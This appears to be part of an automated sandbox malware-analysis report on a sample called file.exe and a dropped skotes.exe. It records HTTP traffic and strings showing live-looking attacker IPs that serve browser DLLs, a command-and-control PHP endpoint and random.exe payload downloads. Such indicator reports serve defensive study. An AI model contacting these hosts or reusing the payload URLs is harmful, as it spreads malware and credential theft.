Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.1979771130.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe~
Source: file.exe, 00000000.00000002.1979771130.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1975942575.00000000007C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllg
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlll
Source: file.exe, 00000000.00000002.2004624121.0000000023543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1975942575.00000000007C7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1979771130.0000000000F71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2004624121.0000000023535000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.1979771130.0000000000FA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php003ser
Source: file.exe, 00000000.00000002.1975942575.00000000007C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpFCGI.exe-data;
Source: file.exe, 00000000.00000002.2004624121.0000000023556000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpb8E
Source: file.exe, 00000000.00000002.1979771130.0000000000F71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgPreference.Verb
Source: file.exe, 00000000.00000002.1975942575.00000000007C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ubert
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2691330052.0000000001488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpoST
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/32
Source: skotes.exe, 0000001D.00000002.2691330052.000000000141B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe09228001
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe131d
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3G
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623oded
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506:
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeE
Source: skotes.exe, 0000001D.00000002.2691330052.000000000141B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeem32
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeft
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exej.
Source: skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exel.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_470.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2009260275.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2000587007.000000001D3E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2009006736.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_470.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 9e16ee97-2942-471e-b276-eb0ab7cad98b.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2004624121.0000000023543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, IIEBGIDAAFHIJJJJEGCG.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.2004624121.0000000023543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, IIEBGIDAAFHIJJJJEGCG.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json0.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 7a22f2a3-2aec-4726-8cdc-1e337a31a762.tmp.11.dr, 9e16ee97-2942-471e-b276-eb0ab7cad98b.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 7a22f2a3-2aec-4726-8cdc-1e337a31a762.tmp.11.dr, 9e16ee97-2942-471e-b276-eb0ab7cad98b.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2004624121.0000000023543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, IIEBGIDAAFHIJJJJEGCG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2004624121.0000000023543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, IIEBGIDAAFHIJJJJEGCG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json.10.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
